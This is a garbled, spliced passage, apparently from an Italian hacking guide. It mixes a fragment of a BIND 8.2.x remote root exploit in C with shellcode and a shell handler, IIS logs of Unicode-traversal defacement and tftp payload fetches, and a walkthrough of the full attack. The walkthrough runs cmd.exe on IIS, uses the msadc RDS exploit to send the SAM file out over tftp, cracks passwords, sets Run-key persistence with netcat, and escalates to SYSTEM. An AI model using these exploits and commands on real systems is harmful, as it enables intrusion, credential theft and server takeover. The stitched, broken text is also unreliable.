Se il DSN non fosse stato creato mediante le opzioni dentro al pannello di controllo, tramite
due utilities, precisamente getdrvrs.exe e dsnform.exe, sarebbe possibile crearlo tramite CGI
funzionanti sotto IIS.
La sequenza di operazioni sono :
http://server/scripts/tools/getdrvrs.exe
scelta Microsoft Access Driver (*.mdb)
Inserimento di un nome corretto DSN
Inserimento percorso database Ad esempio: c:\web.mdb
Conferma
return(0);
res = *(unsigned long*)he->h_addr;
}
return(res);
}
int dumpbuf(char *buff, int len)
{
char line[17];
int x;
/* print out a pretty hex dump */
for(x=0;x<len;x++){
if(!(x%16) && x){
line[16] = 0;
printf("\t%s\n", line);
}
printf("%02X ", (unsigned char)buff[x]);
if(isprint((unsigned char)buff[x]))
line[x%16]=buff[x];
else
line[x%16]='.';
}
printf("\n");
}
void
runshell(int sockd)
{
char buff[1024];
int fmax, ret;
fd_set fds;
fmax = max(fileno(stdin), sockd) + 1;
send(sockd, "uname -a; id;\n", 15, 0);
for(;;)
{
FD_ZERO(&fds);
FD_SET(fileno(stdin), &fds);
FD_SET(sockd, &fds);
if(select(fmax, &fds, NULL, NULL, NULL) < 0)
{
exit(EXIT_FAILURE);
}
if(FD_ISSET(sockd, &fds))
{
bzero(buff, sizeof buff);
if((ret = recv(sockd, buff, sizeof buff, 0)) < 0)
{
exit(EXIT_FAILURE);
}
if(!ret)
{
fprintf(stderr, "Connection closed\n");
exit(EXIT_FAILURE);
}
write(fileno(stdout), buff, ret);
}
if(FD_ISSET(fileno(stdin), &fds))
{
bzero(buff, sizeof buff);
ret = read(fileno(stdin), buff, sizeof buff);
if(send(sockd, buff, ret, 0) != ret)
{
fprintf(stderr, "Transmission loss\n");
exit(EXIT_FAILURE);
}
}
}
}
connection(struct sockaddr_in host)
{
int sockd;
host.sin_port = htons(36864);
printf("[*] connecting..\n");
usleep(2000);
if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{
exit(EXIT_FAILURE);
}
if(connect(sockd, (struct sockaddr *) &host, sizeof host) != -1)
{
printf("[*] wait for your shell..\n");
usleep(500);
runshell(sockd);
}
else
{
printf("[x] error: named not vulnerable or wrong offsets used\n");
}
close(sockd);
}
int infoleak_qry(char* buff)
{
HEADER* hdr;
int n, k;
char* ptr;
int qry_space = 12;
int dummy_names = 7;
int evil_size = 0xff;
memset(buff, 0, BUFFSIZE);
hdr = (HEADER*)buff;
hdr->id = htons(0xbeef);
hdr->opcode = IQUERY;
hdr->rd = 1;
hdr->ra = 1;
hdr->qdcount = htons(0);
hdr->nscount = htons(0);
hdr->ancount = htons(1);
hdr->arcount = htons(0);
ptr = buff + sizeof(HEADER);
printf("[d] HEADER is %d long\n", sizeof(HEADER));
n = 62;
for(k=0; k < dummy_names; k++)
{
*ptr++ = n;
ptr += n;
}
ptr += 1;
PUTSHORT(1/*ns_t_a*/, ptr); /* type */
PUTSHORT(T_A, ptr); /* class */
PUTLONG(1, ptr); /* ttl */
PUTSHORT(evil_size, ptr); /* our *evil* size */
return(ptr - buff + qry_space);
}
int evil_query(char* buff, int offset)
{
int lameaddr, shelladdr, rroffsetidx, rrshellidx, deplshellcode, offset0;
HEADER* hdr;
char *ptr;
int k, bufflen;
u_int n, m;
u_short s;
int i;
int shelloff, shellstarted, shelldone;
int towrite, ourpack;
int n_dummy_rrs = 7;
printf("[d] evil_query(buff, %08x)\n", offset);
printf("[d] shellcode is %d long\n", sizeof(shellcode));
shelladdr = offset - 0x200;
{
*ptr++ = i;
}
}
}
/* OK: this next set of bytes constitutes the end of the
* NAME field, the QTYPE field, and the QCLASS field.
* We have to have the shellcode skip over these bytes,
* as well as the leading 0x3f (63) byte for the next
* NAME field. We do that by putting a jmp instruction
* here.
*/
*ptr++ = 0xeb;
if (k == 0)
{
*ptr++ = 10;
/* For alignment reasons, we need to stick an extra
* NAME segment in here, of length 3 (2 + header).
*/
m = 2;
*ptr++ = (char)m; // header
ptr += 2;
}
else
{
*ptr++ = 0x07;
}
/* End the NAME with a compressed pointer. Note that it's
* not clear that the value used, C0 00, is legal (it
* points to the beginning of the packet), but BIND
apparently
* treats such things as name terminators, anyway.
*/
*ptr++ = 0xc0; /*NS_CMPRSFLGS*/
*ptr++ = 0x00; /*NS_CMPRSFLGS*/
ptr += 4; /* QTYPE, QCLASS */
}
/* Now we make the TSIG AR */
*ptr++ = 0x00; /* Empty name */
PUTSHORT(0xfa, ptr); /* Type TSIG */
PUTSHORT(0xff, ptr); /* Class ANY */
bufflen = ptr - buff;
// dumpbuf(buff, bufflen);
return(bufflen);
}
long xtract_offset(char* buff, int len)
{
long ret;
/* Here be dragons. */
/* (But seriously, the values here depend on compilation options
* used for BIND.
*/
ret = *((long*)&buff[0x214]);
argevdisp1 = 0x080d7cd0;
argevdisp2 = *((long*)&buff[0x264]);
printf("[d] argevdisp1 = %08x, argevdisp2 = %08x\n",
argevdisp1, argevdisp2);
// dumpbuf(buff, len);
return(ret);
}
int main(int argc, char* argv[])
{
struct sockaddr_in sa;
int sock;
long address;
char buff[BUFFSIZE];
int len, i;
long offset;
socklen_t reclen;
unsigned char foo[4];
printf("[*] named 8.2.x (< 8.2.3-REL) remote root exploit by lucysoft,
Ix\n");
printf("[*] fixed by [email protected] and [email protected]\n\n");
address = 0;
if (argc < 2)
{
printf("[*] usage : %s host\n", argv[0]);
return(-1);
}
if (!(address = resolve_host(argv[1])))
{
printf("[x] unable to resolve %s, try using an IP address\n", argv[1]);
return(-1);
} else {
memcpy(foo, &address, 4);
printf("[*] attacking %s (%d.%d.%d.%d)\n", argv[1], foo[0], foo[1], foo[2],
foo[3]);
}
sa.sin_family = AF_INET;
if (0 > (sock = socket(sa.sin_family, SOCK_DGRAM, 0)))
{
return(-1);
}
sa.sin_family = AF_INET;
sa.sin_port = htons(53);
sa.sin_addr.s_addr= address;
len = infoleak_qry(buff);
printf("[d] infoleak_qry was %d long\n", len);
len = sendto(sock, buff, len, 0 , (struct sockaddr *)&sa, sizeof(sa));
if (len < 0)
{
printf("[*] unable to send iquery\n");
return(-1);
}
reclen = sizeof(sa);
len = recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&sa, &reclen);
if (len < 0)
{
printf("[x] unable to receive iquery answer\n");
return(-1);
}
printf("[*] iquery resp len = %d\n", len);
62.243.121.193
62.243.121.193
62.243.121.193
62.243.121.193
62.243.121.193
62.243.121.193
62.243.121.193
22:02:40
22:02:47
22:02:47
22:02:55
22:02:55
22:03:02
22:03:02
22:03:10
22:03:10
22:03:18
22:03:18
22:03:25
22:16:04
22:16:04
22:16:18
213.10.221.106
213.10.221.106
213.10.221.106
213.10.221.106
213.10.221.106
213.10.221.106
213.10.221.106
213.10.221.106
213.10.221.106
213.10.221.106
213.10.221.106
213.10.221.106
213.10.221.106
213.10.221.106
213.10.221.106
%22^>^<font+size%3D7+color%3Dred^>fuck+PoizonBOx^<tr^>^<td^>^<p+align
%3D%22center%22^>^<font+size%3D4+color
%3Dred^>contact:[email protected]^</html^>>.././default.htm 502
2001-12-13
01:23:00
202.99.176.28
217.57.163.98
80
GET
/scripts/root.exe
/c+echo+^<html^>^<body+bgcolor
%3Dblack^>^<br^>^<br^>^<br^>^<br^>^<br^>^<br^>^<table+width
%3D100%^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D7+color
%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^<p+align%3D%22center
%22^>^<font+size%3D7+color%3Dred^>fuck+PoizonBOx^<tr^>^<td^>^<p+align
%3D%22center%22^>^<font+size%3D4+color
%3Dred^>contact:[email protected]^</html^>>../../index.asp 502
2001-12-13
01:23:04
202.99.176.28
217.57.163.98
80
GET
/scripts/root.exe
/c+echo+^<html^>^<body+bgcolor
%3Dblack^>^<br^>^<br^>^<br^>^<br^>^<br^>^<br^>^<table+width
%3D100%^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D7+color
%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^<p+align%3D%22center
%22^>^<font+size%3D7+color%3Dred^>fuck+PoizonBOx^<tr^>^<td^>^<p+align
%3D%22center%22^>^<font+size%3D4+color
%3Dred^>contact:[email protected]^</html^>>../../index.htm 502
2001-12-13
01:23:04
202.99.176.28
217.57.163.98
80
GET
/scripts/root.exe
/c+echo+^<html^>^<body+bgcolor
%3Dblack^>^<br^>^<br^>^<br^>^<br^>^<br^>^<br^>^<table+width
%3D100%^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D7+color
%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^<p+align%3D%22center
%22^>^<font+size%3D7+color%3Dred^>fuck+PoizonBOx^<tr^>^<td^>^<p+align
%3D%22center%22^>^<font+size%3D4+color
%3Dred^>contact:[email protected]^</html^>>../../default.asp 502
2001-12-13
01:23:06
202.99.176.28
217.57.163.98
80
GET
/scripts/root.exe
/c+echo+^<html^>^<body+bgcolor
%3Dblack^>^<br^>^<br^>^<br^>^<br^>^<br^>^<br^>^<table+width
%3D100%^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D7+color
%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^<p+align%3D%22center
%22^>^<font+size%3D7+color%3Dred^>fuck+PoizonBOx^<tr^>^<td^>^<p+align
%3D%22center%22^>^<font+size%3D4+color
%3Dred^>contact:[email protected]^</html^>>../../default.htm 502
2001-12-13
01:23:14
202.99.176.28
217.57.163.98
80
GET
/scripts/root.exe
/c+echo+^<html^>^<body+bgcolor
%3Dblack^>^<br^>^<br^>^<br^>^<br^>^<br^>^<br^>^<table+width
%3D100%^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D7+color
%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^<p+align%3D%22center
%22^>^<font+size%3D7+color%3Dred^>fuck+PoizonBOx^<tr^>^<td^>^<p+align
%3D%22center%22^>^<font+size%3D4+color
%3Dred^>contact:[email protected]^</html^>>../AdminScripts/index.
asp 502
2001-12-13 01:23:14 202.99.176.28 - 217.57.163.98 80 GET /scripts/root.exe
/c+echo+^<html^>^<body+bgcolor
%3Dblack^>^<br^>^<br^>^<br^>^<br^>^<br^>^<br^>^<table+width
%3D100%^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D7+color
%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^<p+align%3D%22center
%22^>^<font+size%3D7+color%3Dred^>fuck+PoizonBOx^<tr^>^<td^>^<p+align%3D
%22center%22^>^<font+size%3D4+color
%3Dred^>contact:[email protected]^</html^>>../AdminScripts/index.htm 502
%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^<p+align%3D%22center
%22^>^<font+size%3D7+color%3Dred^>fuck+PoizonBOx^<tr^>^<td^>^<p+align
%3D%22center%22^>^<font+size%3D4+color
%3Dred^>contact:[email protected]^</html^>>../mailroot/index.htm
502
2001-12-13 01:24:07 202.99.176.28 - 217.57.163.98 80 GET
/scripts/root.exe /c+echo+^<html^>^<body+bgcolor
%3Dblack^>^<br^>^<br^>^<br^>^<br^>^<br^>^<br^>^<table+width
%3D100%^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D7+color
%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^<p+align%3D%22center
%22^>^<font+size%3D7+color%3Dred^>fuck+PoizonBOx^<tr^>^<td^>^<p+align
%3D%22center%22^>^<font+size%3D4+color
%3Dred^>contact:[email protected]^</html^>>../mailroot/default.as
p 502
2001-12-13 01:24:12 202.99.176.28 - 217.57.163.98 80 GET
/scripts/root.exe /c+echo+^<html^>^<body+bgcolor
%3Dblack^>^<br^>^<br^>^<br^>^<br^>^<br^>^<br^>^<table+width
%3D100%^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D7+color
%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^<p+align%3D%22center
%22^>^<font+size%3D7+color%3Dred^>fuck+PoizonBOx^<tr^>^<td^>^<p+align
%3D%22center%22^>^<font+size%3D4+color
%3Dred^>contact:[email protected]^</html^>>../mailroot/default.ht
m 502
2001-12-13 01:24:12 202.99.176.28 - 217.57.163.98 80 GET
/scripts/../../winnt/system32/cmd.exe
/c+copy+\winnt\system32\cmd.exe+root.exe 502 2001-12-13 01:37:23 217.57.79.187 - 217.57.163.98 80 GET
/scripts/root.exe /c+dir 200
2001-12-13 01:39:12 217.57.79.187 - 217.57.163.98 80 GET
/scripts/root.exe /c+dir 200
2001-12-13 01:40:06 217.57.79.187 - 217.57.163.98 80 GET
/scripts/root.exe /c+tftp%20-i%20217.57.79.187%20GET%20Admin.dll
%20Admin.dll 502
2001-12-13 02:33:33 217.57.79.187 - 217.57.163.98 80 GET
/scripts/root.exe /c+dir 200
2001-12-13 02:34:34 217.57.79.187 - 217.57.163.98 80 GET
/scripts/root.exe /c+tftp%20-i%20217.57.79.187%20GET%20Admin.dll
%20Admin.dll 502
2001-12-13 02:34:47 217.57.79.187 - 217.57.163.98 80 GET
/MSADC/root.exe /c+dir 403
2001-12-13 02:34:56 217.57.79.187 - 217.57.163.98 80 GET
/c/winnt/system32/cmd.exe /c+dir 404
2001-12-13 02:35:03 217.57.79.187 - 217.57.163.98 80 GET
/d/winnt/system32/cmd.exe /c+dir 404
2001-12-13 03:08:13 217.57.79.187 - 217.57.163.98 80 GET
/scripts/root.exe /c+dir 200
2001-12-13 03:10:34 217.57.79.187 - 217.57.163.98 80 GET /scripts/root.exe /c+tftp%20-i
%20217.57.79.187%20GET%20Admin.dll%20Admin.dll 502
2001-12-13
15:12:11
217.136.27.227
217.57.163.98
80
GET
/scripts/..
%2f../winnt/system32/cmd.exe
/c+tftp%20-i%20217.136.27.227%20GET%20Admin.dll
%20c:\Admin.dll 502
2001-12-13 16:37:59 217.57.44.21 - 217.57.163.98 80 GET
/scripts/root.exe /c+dir 200
2001-12-13 16:38:47 217.57.44.21 - 217.57.163.98 80 GET
/scripts/root.exe /c+tftp%20-i%20217.57.44.21%20GET%20Admin.dll
%20Admin.dll 502
2001-12-13 16:38:47 217.57.44.21 - 217.57.163.98 80 GET
/MSADC/root.exe /c+dir 403 2001-12-13 16:38:47 217.57.44.21 - 217.57.163.98 80 GET
/c/winnt/system32/cmd.exe /c+dir 404
2001-12-13 16:38:47 217.57.44.21 - 217.57.163.98 80 GET
/d/winnt/system32/cmd.exe /c+dir 404
2001-12-13 16:38:47 217.57.44.21 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+dir 200
2001-12-13 16:38:47 217.57.44.21 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.44.21%20GET
%20Admin.dll%20c:\Admin.dll 502
2001-12-13 16:38:48 217.57.44.21 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.44.21%20GET
%20Admin.dll%20d:\Admin.dll 502
2001-12-13 16:38:48 217.57.44.21 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.44.21%20GET
%20Admin.dll%20e:\Admin.dll 502
#Version: 1.0
#Date: 2001-12-12 21:44:30
#Fields: date time c-ip cs-username s-ip s-port cs-method cs-uri-stem
cs-uri-query sc-status cs(User-Agent)
2001-12-12 21:46:42 217.57.79.187 - 217.57.163.98 80 GET
/scripts/root.exe /c+dir 404 2001-12-12 21:46:50 217.57.79.187 - 217.57.163.98 80 GET
/MSADC/root.exe /c+dir 403 2001-12-12 21:46:55 217.57.79.187 - 217.57.163.98 80 GET
/c/winnt/system32/cmd.exe /c+dir 404 2001-12-12 21:47:00 217.57.79.187 - 217.57.163.98 80 GET
/d/winnt/system32/cmd.exe /c+dir 404 2001-12-12 21:47:05 217.57.79.187 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+dir 200 2001-12-12 21:49:32 217.57.79.187 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.79.187%20GET
%20Admin.dll%20d:\Admin.dll 502 2001-12-12 21:49:51 217.57.79.187 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.79.187%20GET
%20Admin.dll%20c:\Admin.dll 502 2001-12-12 21:51:13 217.57.79.187 - 217.57.163.98 80 GET /_vti_bin/..
%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 200 2001-12-12 21:51:26 217.57.79.187 - 217.57.163.98 80 GET /_vti_bin/..
%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+tftp%20-i
%20217.57.79.187%20GET%20Admin.dll%20c:\Admin.dll 502 2001-12-12 21:51:35 217.57.79.187 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.79.187%20GET
%20Admin.dll%20e:\Admin.dll 502 2001-12-12 21:53:02 217.57.79.187 - 217.57.163.98 80 GET /_vti_bin/..
%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+tftp%20-i
%20217.57.79.187%20GET%20Admin.dll%20d:\Admin.dll 502 2001-12-12 21:53:13 217.57.79.187 - 217.57.163.98 80 GET /_vti_bin/..
%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+tftp%20-i
%20217.57.79.187%20GET%20Admin.dll%20e:\Admin.dll 502 2001-12-12 21:53:41 217.57.79.187 - 217.57.163.98 80 GET /_vti_bin/..
%5c../..%5c../..%5c../Admin.dll - 500 2001-12-12 22:20:06 217.82.33.74 - 217.57.163.98 80 GET
/scripts/root.exe /c+dir 404 2001-12-12 22:20:06 217.82.33.74 - 217.57.163.98 80 GET
/MSADC/root.exe /c+dir 403 2001-12-12 22:20:08 217.82.33.74 - 217.57.163.98 80 GET
/c/winnt/system32/cmd.exe /c+dir 404 2001-12-12 22:20:08 217.82.33.74 - 217.57.163.98 80 GET
/d/winnt/system32/cmd.exe /c+dir 404 2001-12-12 22:20:09 217.82.33.74 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+dir 200 2001-12-12 22:20:56 217.82.33.74 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.82.33.74%20GET
%20Admin.dll%20c:\Admin.dll 502 2001-12-12 22:21:41 217.82.33.74 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.82.33.74%20GET
%20Admin.dll%20d:\Admin.dll 502 2001-12-12 22:21:42 217.82.33.74 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.82.33.74%20GET
%20Admin.dll%20e:\Admin.dll 502 2001-12-12 22:21:42 217.82.33.74 - 217.57.163.98 80 GET /scripts/..
%5c../Admin.dll - 500 2001-12-12 22:21:44 217.82.33.74 - 217.57.163.98 80 GET /_vti_bin/..
%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 200 -
Server: Microsoft-IIS/4.0
Date: Thu, 18 Jan 2001 23:23:22 GMT
Content-Type: text/html
Content-Length: 87
<html><head><title>Error</title></head><body>The parameter is
incorrect. </body></html> sent 2, rcvd 224
Da questo abbiamo visto che sul server in esecuzione IIS 4.0 per cui a questo punto
potrebbe essere suscettibile al Traversal Bug.
C:\ --|-- InetPub/
|
|- wwwroot/
|
|
|- scripts/
|
|-- winnt/
|
|- system32/
La struttura di prima mostra la classica configurazione delle directory di IIS e di Windows.
Ilo nosto interesse, rispetto a questa struttura, sarebbe quella di eseguire il file CMD.EXE
presente nella directory system di windows.
Usando il percorso assoluto dovremmo specificare :
../../winnt/system32/cmd.exe
Usando la sintasi WEB possiamo specificare da browser :
http://192.168.1.2/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir
Se allinterno del BROWSER vediamo la directory richiesta tramite il comando dato allora
lUNICODE BUG funziona.
A questo punto possiamo cercare di dare dei comandi diretti al server usando un programma
che si trova sulla rete il quale apre un socket inviando i comandi al server .
Il suo listato :
#!/usr/bin/perl
# See http://www.securityfocus.com/vdb/bottom.html?section=exploit&vid=1806
# Very simple PERL script to execute commands on IIS Unicode vulnerable servers
# Use port number with SSLproxy for testing SSL sites
# Usage: unicodexecute2 IP:port command
# Only makes use of "Socket" library
#
# New in version2:
# Copy the cmd.exe to something else, and then use it.
# The script checks for this.
# Thnx to [email protected] for discovering the cmd.exe copy part
#
# Roelof Temmingh 2000/10/26
# [email protected] http://www.sensepost.com
use Socket;
# --------------init
<DIR>
<DIR>
59,392
.
..
nc.exe
In ogni caso quando viene creato un disco di emergenza e viene utilizzata lopzione /s nella
creazione, una copia di questo viene salvata nella directory /winnt/repair.
Partendo dalla shell che abbiamo aperto precedentemente diamo il comando :
D:\Inetpub\scripts>copy \winnt\repair\sam._
copy \winnt\repair\sam._
Access is denied.
0 file(s) copied.
Come potrete vedere non ci stato dato il permesso.
Ora recuperiamo lo script visto nei capitoli di questo libro chiamato MSADC.PL e lanciamolo :
C:\> perl -x msadc1.pl -h 192.168.1.2
-- RDS exploit by rain forest puppy / ADM / Wiretrip -Please type the NT commandline you want to run (cmd /c assumed):
cmd /c tftp -i 172.16.41.71 PUT \winnt\repair\sam._
Step 1: Trying raw driver to btcustmr.mdb
winnt -> c: d: Success!
Io comando ci trasferisce il file sul nostro sistema tramite tftp.
Ora che abbiamo il file SAM sul nostro sistema tramite L0phtCrack possiamo decodificare le
password.
Ora scriviamoci lo start del nostro programma in modo che ogni volta che la macchina parte
questo venga eseguito.
Un posto comodo per inserire la voce tramite questa chiave
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
RunOnce, RunOnceEx, RunServices
and
La riga da mettere :
Netcat
Ora attivando NETCAT sul nostro sistema vedremo se siamo riusciti ad avere la shell da
Administrator.
C:> nc 192.168.1.2 50
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
D:\WINNT\Profiles\Administrator\Desktop>whoami
whoami
NTKRKR\Administrator
Ora possiamo continuare a provare lo Spoofed LPC Port Request.
Questo altro metodo serve a tentare di alzare il livello della nostra shell, come il sistema di
prima.
Tramite la nostra shell senza diritti di Administrator proviamo a uplodare il file hk.exe
D:\Inetpub\scripts>tftp -i 172.16.41.71 GET hk.exe
tftp -i 172.16.41.71 GET hk.exe
Transfer successful: 32768 bytes in 1 second, 32768 bytes/s
D:\Inetpub\scripts>hk nc -L -p 25 -d -e cmd.exe
hk nc -L -p 25 -d -e cmd.exe
lsass pid & tid are: 50 - 53
Launching line was: nc -L -p 25 -d -e cmd.exe
Who do you want to be today?NtImpersonateClientOfPort succeeded
Ora da un altro terminale proviamo netcat sulla porta 25.
nc 192.168.1.2 25
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
D:\Inetpub\scripts>whoami
whoami
NT AUTHORITY\SYSTEM
Chiaramente questi sistemi ci permettono di avere delle shell a livello di carattere.
La forza di Windows chiaramente la GUI per cui ora vedremo come cercare di avere una
shell grafica tramite il programma distribuito gratuitamente dalla AT&T chiamato VNC.EXE.
Cerchiamolo sulla rete e preleviamolo.
Dovremo installare alcune voci nuove nel registro per cui creiamo un file chiamato winvnc.ini
con dentro :
HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3
CVE
number
Title
http://www.kb.cert.org/vuls/id/363715
CAN-20020071
http://www.kb.cert.org/vuls/id/883091
CAN-20020074
http://www.kb.cert.org/vuls/id/886699
CAN-20020148
http://www.kb.cert.org/vuls/id/520707
CAN-20020075
http://www.kb.cert.org/vuls/id/412203
CAN-20020073
http://www.kb.cert.org/vuls/id/454091
CAN-2002-
0150
http://www.kb.cert.org/vuls/id/721963
CAN-20020149
http://www.kb.cert.org/vuls/id/521059
CAN-20020072
http://www.kb.cert.org/vuls/id/610291
CAN-20020079
http://www.kb.cert.org/vuls/id/669779
CAN-20020147